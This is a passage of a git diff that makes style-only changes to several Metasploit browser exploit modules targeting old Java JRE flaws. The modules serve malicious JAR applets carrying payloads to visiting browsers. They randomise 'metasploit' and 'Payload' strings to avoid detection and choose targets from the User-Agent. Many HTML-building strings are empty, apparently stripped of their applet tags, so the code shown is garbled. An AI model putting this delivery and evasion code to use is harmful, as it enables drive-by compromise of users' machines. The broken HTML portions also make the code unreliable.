], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], ], @@ -79,13 +79,13 @@ class MetasploitModule < Msf::Exploit::Remote end def setup - path = File.join(Msf::Config.data_directory, "exploits", "cve-2012-5076_2", "Exploit.class") - @exploit_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.data_directory, "exploits", "cve-2012-5076_2", "B.class") - @loader_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2012-5076_2', 'Exploit.class') + @exploit_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2012-5076_2', 'B.class') + @loader_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } - @exploit_class_name = rand_text_alpha("Exploit".length) - @exploit_class.gsub!("Exploit", @exploit_class_name) + @exploit_class_name = rand_text_alpha('Exploit'.length) + @exploit_class.gsub!('Exploit', @exploit_class_name) super end @@ -96,36 +96,36 @@ class MetasploitModule < Msf::Exploit::Remote when /\.jar$/i jar = payload.encoded_jar jar.add_file("#{@exploit_class_name}.class", @exploit_class) - jar.add_file("B.class", @loader_class) - metasploit_str = rand_text_alpha("metasploit".length) - payload_str = rand_text_alpha("payload".length) - jar.entries.each { |entry| - entry.name.gsub!("metasploit", metasploit_str) - entry.name.gsub!("Payload", payload_str) - entry.data = entry.data.gsub("metasploit", metasploit_str) - entry.data = entry.data.gsub("Payload", payload_str) - } + jar.add_file('B.class', @loader_class) + metasploit_str = rand_text_alpha('metasploit'.length) + payload_str = rand_text_alpha('payload'.length) + jar.entries.each do |entry| + entry.name.gsub!('metasploit', metasploit_str) + entry.name.gsub!('Payload', payload_str) + entry.data = entry.data.gsub('metasploit', metasploit_str) + entry.data = entry.data.gsub('Payload', payload_str) + end jar.build_manifest - send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) - when /\/$/ + send_response(cli, jar, { 'Content-Type' => 'application/octet-stream' }) + when %r{/$} payload = regenerate_payload(cli) - if not payload - print_error("Failed to generate the payload.") + if !payload + print_error('Failed to generate the payload.') send_not_found(cli) return end send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) else - send_redirect(cli, get_resource() + '/', '') + send_redirect(cli, get_resource + '/', '') end end def generate_html - html = %Q|Loading, Please Wait...| - html += %Q|

Loading, Please Wait...

| - html += %Q|| - html += %Q|| + html = %(Loading, Please Wait...) + html += %(

Loading, Please Wait...

) + html += %() + html += %() return html end end diff --git a/modules/exploits/multi/browser/java_jre17_jaxws.rb b/modules/exploits/multi/browser/java_jre17_jaxws.rb index 66ccd500f1..686566be10 100644 --- a/modules/exploits/multi/browser/java_jre17_jaxws.rb +++ b/modules/exploits/multi/browser/java_jre17_jaxws.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote [ 'Generic (Java Payload)', { - 'Arch' => ARCH_JAVA, + 'Arch' => ARCH_JAVA } ], [ @@ -69,21 +69,21 @@ class MetasploitModule < Msf::Exploit::Remote end def on_request_uri(cli, request) - if not request.uri.match(/\.jar$/i) - if not request.uri.match(/\/$/) - send_redirect(cli, get_resource() + '/', '') + if !request.uri.match(/\.jar$/i) + if !request.uri.match(%r{/$}) + send_redirect(cli, get_resource + '/', '') return end - print_status("#{self.name} handling request") + print_status("#{name} handling request") send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) return end paths = [ - [ "Exploit.class" ], - [ "MyPayload.class" ] + [ 'Exploit.class' ], + [ 'MyPayload.class' ] ] p = regenerate_payload(cli) @@ -92,29 +92,29 @@ class MetasploitModule < Msf::Exploit::Remote paths.each do |path| 1.upto(path.length - 1) do |idx| - full = path[0, idx].join("/") + "/" + full = path[0, idx].join('/') + '/' if !(jar.entries.map { |e| e.name }.include?(full)) jar.add_file(full, '') end end - fd = File.open(File.join(Msf::Config.data_directory, "exploits", "cve-2012-5076", path), "rb") + fd = File.open(File.join(Msf::Config.data_directory, 'exploits', 'cve-2012-5076', path), 'rb') data = fd.read(fd.stat.size) - jar.add_file(path.join("/"), data) + jar.add_file(path.join('/'), data) fd.close end - print_status("Sending Applet.jar") - send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" }) + print_status('Sending Applet.jar') + send_response(cli, jar.pack, { 'Content-Type' => 'application/octet-stream' }) handler(cli) end def generate_html - jar_name = rand_text_alpha(rand(6) + 3) + ".jar" - html = "" - html += "" + jar_name = rand_text_alpha(rand(3..8)) + '.jar' + html = '' + html += '' html += "" - html += "" + html += '
' return html end end diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean.rb b/modules/exploits/multi/browser/java_jre17_jmxbean.rb index f6ea197e06..04a19a16c9 100644 --- a/modules/exploits/multi/browser/java_jre17_jmxbean.rb +++ b/modules/exploits/multi/browser/java_jre17_jmxbean.rb @@ -10,7 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn - autopwn_info({ :javascript => false }) + autopwn_info({ javascript: false }) def initialize(info = {}) super( @@ -43,28 +43,28 @@ class MetasploitModule < Msf::Exploit::Remote 'Generic (Java Payload)', { 'Platform' => ['java'], - 'Arch' => ARCH_JAVA, + 'Arch' => ARCH_JAVA } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], ], @@ -80,13 +80,13 @@ class MetasploitModule < Msf::Exploit::Remote end def setup - path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0422", "Exploit.class") - @exploit_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0422", "B.class") - @loader_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-0422', 'Exploit.class') + @exploit_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-0422', 'B.class') + @loader_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } - @exploit_class_name = rand_text_alpha("Exploit".length) - @exploit_class.gsub!("Exploit", @exploit_class_name) + @exploit_class_name = rand_text_alpha('Exploit'.length) + @exploit_class.gsub!('Exploit', @exploit_class_name) super end @@ -97,36 +97,36 @@ class MetasploitModule < Msf::Exploit::Remote when /\.jar$/i jar = payload.encoded_jar jar.add_file("#{@exploit_class_name}.class", @exploit_class) - jar.add_file("B.class", @loader_class) - metasploit_str = rand_text_alpha("metasploit".length) - payload_str = rand_text_alpha("payload".length) - jar.entries.each { |entry| - entry.name.gsub!("metasploit", metasploit_str) - entry.name.gsub!("Payload", payload_str) - entry.data = entry.data.gsub("metasploit", metasploit_str) - entry.data = entry.data.gsub("Payload", payload_str) - } + jar.add_file('B.class', @loader_class) + metasploit_str = rand_text_alpha('metasploit'.length) + payload_str = rand_text_alpha('payload'.length) + jar.entries.each do |entry| + entry.name.gsub!('metasploit', metasploit_str) + entry.name.gsub!('Payload', payload_str) + entry.data = entry.data.gsub('metasploit', metasploit_str) + entry.data = entry.data.gsub('Payload', payload_str) + end jar.build_manifest - send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) - when /\/$/ + send_response(cli, jar, { 'Content-Type' => 'application/octet-stream' }) + when %r{/$} payload = regenerate_payload(cli) - if not payload - print_error("Failed to generate the payload.") + if !payload + print_error('Failed to generate the payload.') send_not_found(cli) return end send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) else - send_redirect(cli, get_resource() + '/', '') + send_redirect(cli, get_resource + '/', '') end end def generate_html - html = %Q|Loading, Please Wait...| - html += %Q|

Loading, Please Wait...

| - html += %Q|| - html += %Q|| + html = %(Loading, Please Wait...) + html += %(

Loading, Please Wait...

) + html += %() + html += %() return html end end diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb index 3441e73a67..79bb3c435d 100644 --- a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb +++ b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb @@ -46,28 +46,28 @@ class MetasploitModule < Msf::Exploit::Remote 'Generic (Java Payload)', { 'Platform' => ['java'], - 'Arch' => ARCH_JAVA, + 'Arch' => ARCH_JAVA } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], ], @@ -87,21 +87,21 @@ class MetasploitModule < Msf::Exploit::Remote case request.uri when /\.jar$/i - print_status("Sending JAR") - send_response(cli, generate_jar, { 'Content-Type' => "application/octet-stream" }) - when /\/$/ - print_status("Sending HTML") + print_status('Sending JAR') + send_response(cli, generate_jar, { 'Content-Type' => 'application/octet-stream' }) + when %r{/$} + print_status('Sending HTML') send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) else - send_redirect(cli, get_resource() + '/', '') + send_redirect(cli, get_resource + '/', '') end end def generate_jar paths = [ - [ "Exploit.ser" ], - [ "Exploit.class" ], - [ "B.class" ] + [ 'Exploit.ser' ], + [ 'Exploit.class' ], + [ 'B.class' ] ] p = regenerate_payload(cli) @@ -110,14 +110,14 @@ class MetasploitModule < Msf::Exploit::Remote paths.each do |path| 1.upto(path.length - 1) do |idx| - full = path[0, idx].join("/") + "/" + full = path[0, idx].join('/') + '/' if !(jar.entries.map { |e| e.name }.include?(full)) jar.add_file(full, '') end end - fd = File.open(File.join(Msf::Config.data_directory, "exploits", "cve-2013-0431", path), "rb") + fd = File.open(File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-0431', path), 'rb') data = fd.read(fd.stat.size) - jar.add_file(path.join("/"), data) + jar.add_file(path.join('/'), data) fd.close end return jar.pack @@ -131,9 +131,9 @@ class MetasploitModule < Msf::Exploit::Remote var _app = navigator.appName; if (_app == 'Microsoft Internet Explorer') { - document.write(''); + document.write(''); } else { - document.write(''); + document.write(''); } diff --git a/modules/exploits/multi/browser/java_jre17_method_handle.rb b/modules/exploits/multi/browser/java_jre17_method_handle.rb index 99e67c83c0..be127724e2 100644 --- a/modules/exploits/multi/browser/java_jre17_method_handle.rb +++ b/modules/exploits/multi/browser/java_jre17_method_handle.rb @@ -40,28 +40,28 @@ class MetasploitModule < Msf::Exploit::Remote 'Generic (Java Payload)', { 'Platform' => ['java'], - 'Arch' => ARCH_JAVA, + 'Arch' => ARCH_JAVA } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], ], @@ -77,13 +77,13 @@ class MetasploitModule < Msf::Exploit::Remote end def setup - path = File.join(Msf::Config.data_directory, "exploits", "cve-2012-5088", "Exploit.class") - @exploit_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.data_directory, "exploits", "cve-2012-5088", "B.class") - @loader_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2012-5088', 'Exploit.class') + @exploit_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2012-5088', 'B.class') + @loader_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } - @exploit_class_name = rand_text_alpha("Exploit".length) - @exploit_class.gsub!("Exploit", @exploit_class_name) + @exploit_class_name = rand_text_alpha('Exploit'.length) + @exploit_class.gsub!('Exploit', @exploit_class_name) super end @@ -94,36 +94,36 @@ class MetasploitModule < Msf::Exploit::Remote when /\.jar$/i jar = payload.encoded_jar jar.add_file("#{@exploit_class_name}.class", @exploit_class) - jar.add_file("B.class", @loader_class) - metasploit_str = rand_text_alpha("metasploit".length) - payload_str = rand_text_alpha("payload".length) - jar.entries.each { |entry| - entry.name.gsub!("metasploit", metasploit_str) - entry.name.gsub!("Payload", payload_str) - entry.data = entry.data.gsub("metasploit", metasploit_str) - entry.data = entry.data.gsub("Payload", payload_str) - } + jar.add_file('B.class', @loader_class) + metasploit_str = rand_text_alpha('metasploit'.length) + payload_str = rand_text_alpha('payload'.length) + jar.entries.each do |entry| + entry.name.gsub!('metasploit', metasploit_str) + entry.name.gsub!('Payload', payload_str) + entry.data = entry.data.gsub('metasploit', metasploit_str) + entry.data = entry.data.gsub('Payload', payload_str) + end jar.build_manifest - send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) - when /\/$/ + send_response(cli, jar, { 'Content-Type' => 'application/octet-stream' }) + when %r{/$} payload = regenerate_payload(cli) - if not payload - print_error("Failed to generate the payload.") + if !payload + print_error('Failed to generate the payload.') send_not_found(cli) return end send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) else - send_redirect(cli, get_resource() + '/', '') + send_redirect(cli, get_resource + '/', '') end end def generate_html - html = %Q|Loading, Please Wait...| - html += %Q|

Loading, Please Wait...

| - html += %Q|| - html += %Q|| + html = %(Loading, Please Wait...) + html += %(

Loading, Please Wait...

) + html += %() + html += %() return html end end diff --git a/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb b/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb index 6235f4f5f3..bdfb3d83f0 100644 --- a/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb +++ b/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb @@ -10,9 +10,9 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn - autopwn_info({ :javascript => false }) + autopwn_info({ javascript: false }) - EXPLOIT_STRING = "Exploit" + EXPLOIT_STRING = 'Exploit' def initialize(info = {}) super( @@ -43,28 +43,28 @@ class MetasploitModule < Msf::Exploit::Remote 'Generic (Java Payload)', { 'Platform' => ['java'], - 'Arch' => ARCH_JAVA, + 'Arch' => ARCH_JAVA } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], ], @@ -81,19 +81,19 @@ class MetasploitModule < Msf::Exploit::Remote def randomize_identifier_in_jar(jar, identifier) identifier_str = rand_text_alpha(identifier.length) - jar.entries.each { |entry| + jar.entries.each do |entry| entry.name.gsub!(identifier, identifier_str) entry.data = entry.data.gsub(identifier, identifier_str) - } + end end def setup - path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-2460", "Exploit.class") - @exploit_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-2460", "ExpProvider.class") - @provider_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-2460", "DisableSecurityManagerAction.class") - @action_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-2460', 'Exploit.class') + @exploit_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-2460', 'ExpProvider.class') + @provider_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-2460', 'DisableSecurityManagerAction.class') + @action_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } @exploit_class_name = rand_text_alpha(EXPLOIT_STRING.length) @exploit_class.gsub!(EXPLOIT_STRING, @exploit_class_name) @@ -108,34 +108,34 @@ class MetasploitModule < Msf::Exploit::Remote when /\.jar$/i jar = payload.encoded_jar jar.add_file("#{@exploit_class_name}.class", @exploit_class) - jar.add_file("ExpProvider.class", @provider_class) - jar.add_file("DisableSecurityManagerAction.class", @action_class) - randomize_identifier_in_jar(jar, "metasploit") - randomize_identifier_in_jar(jar, "payload") + jar.add_file('ExpProvider.class', @provider_class) + jar.add_file('DisableSecurityManagerAction.class', @action_class) + randomize_identifier_in_jar(jar, 'metasploit') + randomize_identifier_in_jar(jar, 'payload') jar.build_manifest - send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) - when /\/$/ + send_response(cli, jar, { 'Content-Type' => 'application/octet-stream' }) + when %r{/$} payload = regenerate_payload(cli) - if not payload - print_error("Failed to generate the payload.") + if !payload + print_error('Failed to generate the payload.') send_not_found(cli) return end send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) else - send_redirect(cli, get_resource() + '/', '') + send_redirect(cli, get_resource + '/', '') end end def generate_html - html = %Q| + html = %( - + - | + ) return html end end diff --git a/modules/exploits/multi/browser/java_jre17_reflection_types.rb b/modules/exploits/multi/browser/java_jre17_reflection_types.rb index c3a19c783e..d658e901c3 100644 --- a/modules/exploits/multi/browser/java_jre17_reflection_types.rb +++ b/modules/exploits/multi/browser/java_jre17_reflection_types.rb @@ -10,7 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn - autopwn_info({ :javascript => false }) + autopwn_info({ javascript: false }) def initialize(info = {}) super( @@ -45,28 +45,28 @@ class MetasploitModule < Msf::Exploit::Remote 'Generic (Java Payload)', { 'Platform' => ['java'], - 'Arch' => ARCH_JAVA, + 'Arch' => ARCH_JAVA } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], ], @@ -82,17 +82,17 @@ class MetasploitModule < Msf::Exploit::Remote end def setup - path = File.join(Msf::Config.data_directory, "exploits", "jre7u17", "Exploit.class") - @exploit_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.data_directory, "exploits", "jre7u17", "Union1.class") - @union1_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.data_directory, "exploits", "jre7u17", "Union2.class") - @union2_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.data_directory, "exploits", "jre7u17", "SystemClass.class") - @system_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'jre7u17', 'Exploit.class') + @exploit_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'jre7u17', 'Union1.class') + @union1_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'jre7u17', 'Union2.class') + @union2_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'jre7u17', 'SystemClass.class') + @system_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } - @exploit_class_name = rand_text_alpha("Exploit".length) - @exploit_class.gsub!("Exploit", @exploit_class_name) + @exploit_class_name = rand_text_alpha('Exploit'.length) + @exploit_class.gsub!('Exploit', @exploit_class_name) @jnlp_name = rand_text_alpha(8) @@ -102,7 +102,7 @@ class MetasploitModule < Msf::Exploit::Remote def jnlp_file jnlp_uri = "#{get_uri}/#{@jnlp_name}.jnlp" - jnlp = %Q| + jnlp = %( @@ -121,7 +121,7 @@ class MetasploitModule < Msf::Exploit::Remote - | + ) return jnlp end @@ -130,41 +130,41 @@ class MetasploitModule < Msf::Exploit::Remote case request.uri when /\.jnlp$/i - send_response(cli, jnlp_file, { 'Content-Type' => "application/x-java-jnlp-file" }) + send_response(cli, jnlp_file, { 'Content-Type' => 'application/x-java-jnlp-file' }) when /\.jar$/i jar = payload.encoded_jar jar.add_file("#{@exploit_class_name}.class", @exploit_class) - jar.add_file("Union1.class", @union1_class) - jar.add_file("Union2.class", @union2_class) - jar.add_file("SystemClass.class", @system_class) - metasploit_str = rand_text_alpha("metasploit".length) - payload_str = rand_text_alpha("payload".length) - jar.entries.each { |entry| - entry.name.gsub!("metasploit", metasploit_str) - entry.name.gsub!("Payload", payload_str) - entry.data = entry.data.gsub("metasploit", metasploit_str) - entry.data = entry.data.gsub("Payload", payload_str) - } + jar.add_file('Union1.class', @union1_class) + jar.add_file('Union2.class', @union2_class) + jar.add_file('SystemClass.class', @system_class) + metasploit_str = rand_text_alpha('metasploit'.length) + payload_str = rand_text_alpha('payload'.length) + jar.entries.each do |entry| + entry.name.gsub!('metasploit', metasploit_str) + entry.name.gsub!('Payload', payload_str) + entry.data = entry.data.gsub('metasploit', metasploit_str) + entry.data = entry.data.gsub('Payload', payload_str) + end jar.build_manifest - send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) - when /\/$/ + send_response(cli, jar, { 'Content-Type' => 'application/octet-stream' }) + when %r{/$} payload = regenerate_payload(cli) - if not payload - print_error("Failed to generate the payload.") + if !payload + print_error('Failed to generate the payload.') send_not_found(cli) return end send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) else - send_redirect(cli, get_resource() + '/', '') + send_redirect(cli, get_resource + '/', '') end end def generate_html jnlp_uri = "#{get_uri}/#{@jnlp_name}.jnlp" - html = %Q| + html = %( @@ -174,7 +174,7 @@ class MetasploitModule < Msf::Exploit::Remote - | + ) return html end end diff --git a/modules/exploits/multi/browser/java_rhino.rb b/modules/exploits/multi/browser/java_rhino.rb index a8caa6dfcc..e0c6d68620 100644 --- a/modules/exploits/multi/browser/java_rhino.rb +++ b/modules/exploits/multi/browser/java_rhino.rb @@ -9,7 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn - autopwn_info({ :javascript => false }) + autopwn_info({ javascript: false }) def initialize(info = {}) super( @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote [ 'Generic (Java Payload)', { - 'Arch' => ARCH_JAVA, + 'Arch' => ARCH_JAVA } ], [ @@ -78,20 +78,20 @@ class MetasploitModule < Msf::Exploit::Remote end def on_request_uri(cli, request) - if not request.uri.match(/\.jar$/i) - if not request.uri.match(/\/$/) - send_redirect(cli, get_resource() + '/', '') + if !request.uri.match(/\.jar$/i) + if !request.uri.match(%r{/$}) + send_redirect(cli, get_resource + '/', '') return end - print_status("#{self.name} handling request") + print_status("#{name} handling request") send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) return end paths = [ - [ "Exploit.class" ] + [ 'Exploit.class' ] ] p = regenerate_payload(cli) @@ -99,28 +99,28 @@ class MetasploitModule < Msf::Exploit::Remote jar = p.encoded_jar paths.each do |path| 1.upto(path.length - 1) do |idx| - full = path[0, idx].join("/") + "/" + full = path[0, idx].join('/') + '/' if !(jar.entries.map { |e| e.name }.include?(full)) jar.add_file(full, '') end end - fd = File.open(File.join(Msf::Config.data_directory, "exploits", "cve-2011-3544", path), "rb") + fd = File.open(File.join(Msf::Config.data_directory, 'exploits', 'cve-2011-3544', path), 'rb') data = fd.read(fd.stat.size) - jar.add_file(path.join("/"), data) + jar.add_file(path.join('/'), data) fd.close end - print_status("Sending Applet.jar") - send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" }) + print_status('Sending Applet.jar') + send_response(cli, jar.pack, { 'Content-Type' => 'application/octet-stream' }) handler(cli) end def generate_html - html = "" - html += "" - html += "" - html += "" + html = '' + html += '' + html += '' + html += '' return html end end diff --git a/modules/exploits/multi/browser/java_setdifficm_bof.rb b/modules/exploits/multi/browser/java_setdifficm_bof.rb index 262935928a..6592470e8e 100644 --- a/modules/exploits/multi/browser/java_setdifficm_bof.rb +++ b/modules/exploits/multi/browser/java_setdifficm_bof.rb @@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Payload' => { 'Space' => 1024, 'BadChars' => '', - 'DisableNops' => true, + 'DisableNops' => true }, 'Targets' => [ =begin @@ -67,14 +67,14 @@ No automatic targetting for now ... 'J2SE 1.6_16 on Mac OS X PPC', { 'Platform' => 'osx', - 'Arch' => ARCH_PPC, + 'Arch' => ARCH_PPC } ], [ 'J2SE 1.6_16 on Mac OS X x86', { 'Platform' => 'osx', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], ], @@ -98,14 +98,14 @@ No automatic targetting for now ... if (target.name =~ /Automatic/) case req.headers['User-Agent'] when /Windows/i - print_status("Choosing a Windows target") - @targetcache[cli.peerhost][:target] = self.targets[1] + print_status('Choosing a Windows target') + @targetcache[cli.peerhost][:target] = targets[1] when /PPC Mac OS X/i - print_status("Choosing a Mac OS X PPC target") - @targetcache[cli.peerhost][:target] = self.targets[2] + print_status('Choosing a Mac OS X PPC target') + @targetcache[cli.peerhost][:target] = targets[2] when /Intel Mac OS X/i - print_status("Choosing a Mac OS X x86 target") - @targetcache[cli.peerhost][:target] = self.targets[3] + print_status('Choosing a Mac OS X x86 target') + @targetcache[cli.peerhost][:target] = targets[3] else print_status("Unknown target for: #{req.headers['User-Agent']}") end @@ -122,17 +122,17 @@ No automatic targetting for now ... rmq.each { |addr| @targetcache.delete(addr) } # Request processing - if (not req.uri.match(/\.jar$/i)) + if (!req.uri.match(/\.jar$/i)) # Redirect to the base directory so the applet code loads... - if (not req.uri.match(/\/$/)) - print_status("Sending redirect so path ends with / ...") - send_redirect(cli, get_resource() + '/', '') + if (!req.uri.match(%r{/$})) + print_status('Sending redirect so path ends with / ...') + send_redirect(cli, get_resource + '/', '') return end # Display the applet loading HTML - print_status("Sending HTML") + print_status('Sending HTML') send_response_html(cli, generate_html(payload.encoded), { 'Content-Type' => 'text/html', @@ -142,7 +142,7 @@ No automatic targetting for now ... end # Send the actual applet over - print_status("Sending applet") + print_status('Sending applet') send_response(cli, generate_applet(cli, req), { 'Content-Type' => 'application/octet-stream', @@ -168,12 +168,12 @@ No automatic targetting for now ... EOF # finalize html - jar_name = rand_text_alphanumeric(32) + ".jar" + jar_name = rand_text_alphanumeric(32) + '.jar' html.gsub!(/JARNAME/, jar_name) # put payload into html debug_payload = false - pload = "" + pload = '' pload << "\xcc" if debug_payload pload << pl if ((pload.length % 4) > 0) @@ -193,24 +193,23 @@ No automatic targetting for now ... end def exploit - path = File.join(Msf::Config.data_directory, "exploits", "CVE-2009-3869.jar") - fd = File.open(path, "rb") + path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2009-3869.jar') + fd = File.open(path, 'rb') @jar_data = fd.read(fd.stat.size) fd.close super end - def generate_applet(cli, req) - this_target = nil + def generate_applet(cli, _req) if (target.name =~ /Automatic/) if (@targetcache[cli.peerhost][:target]) - this_target = @targetcache[cli.peerhost][:target] + @targetcache[cli.peerhost][:target] else return '' end else - this_target = target + target end return @jar_data diff --git a/modules/exploits/multi/browser/java_signed_applet.rb b/modules/exploits/multi/browser/java_signed_applet.rb index 9dc6dd02cf..394acdc684 100644 --- a/modules/exploits/multi/browser/java_signed_applet.rb +++ b/modules/exploits/multi/browser/java_signed_applet.rb @@ -52,28 +52,28 @@ class MetasploitModule < Msf::Exploit::Remote 'Windows x86 (Native Payload)', { 'Platform' => 'win', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Mac OS X PPC (Native Payload)', { 'Platform' => 'osx', - 'Arch' => ARCH_PPC, + 'Arch' => ARCH_PPC } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ] ], @@ -91,24 +91,24 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('CERTCN', [ true, "The CN= value for the certificate. Cannot contain ',' or '/'", - "SiteLoader" + 'SiteLoader' ]), OptString.new('APPLETNAME', [ true, "The main applet's class name.", - "SiteLoader" + 'SiteLoader' ]), OptPath.new('SigningCert', [ false, - "Path to a signing certificate in PEM or PKCS12 (.pfx) format" + 'Path to a signing certificate in PEM or PKCS12 (.pfx) format' ]), OptPath.new('SigningKey', [ false, - "Path to a signing key in PEM format" + 'Path to a signing key in PEM format' ]), OptString.new('SigningKeyPass', [ false, - "Password for signing key (required if SigningCert is a .pfx)" + 'Password for signing key (required if SigningCert is a .pfx)' ]), ]) end @@ -120,21 +120,21 @@ class MetasploitModule < Msf::Exploit::Remote end def on_request_uri(cli, request) - if not request.uri.match(/\.jar$/i) - if not request.uri.match(/\/$/) - send_redirect(cli, get_resource() + '/', '') + if !request.uri.match(/\.jar$/i) + if 